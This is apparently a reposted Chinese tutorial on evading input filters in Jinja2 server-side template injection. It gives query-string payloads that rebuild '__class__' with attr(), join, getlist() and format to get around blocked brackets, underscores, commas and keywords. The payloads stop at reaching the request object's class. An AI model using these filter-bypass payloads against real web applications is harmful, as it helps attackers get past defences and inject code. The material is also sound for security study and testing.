python SSTI繞過


原理
首先以jinja2模板注入為例:
{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代繞過"["、"]"過濾
繞過的方式也就是同義語句轉化,下面給出其他的替換繞過"_"字符:
?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
等同於 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
等同於 ?exp={{request|attr(["__","class","__"]|join)}}
等同於 ?exp={{request|attr("__class__")}}
等同於 ?exp={{request.__class__}}

下面給出一些繞過姿勢,假如頁面本身注入參數為exploit,想注入的的語句為request.__class__
①繞過 "]"、"["、"_"、class等關鍵字
使用元組( )和通過傳遞另外的參數
?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
使用.getlist()優化(能夠繞過",")
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②繞過"|join"
使用|format函數,可以通過傳入格式字符串%s,再傳入字符,來進行替換
?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)}}&f=%s%sclass%s%s&a=_


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM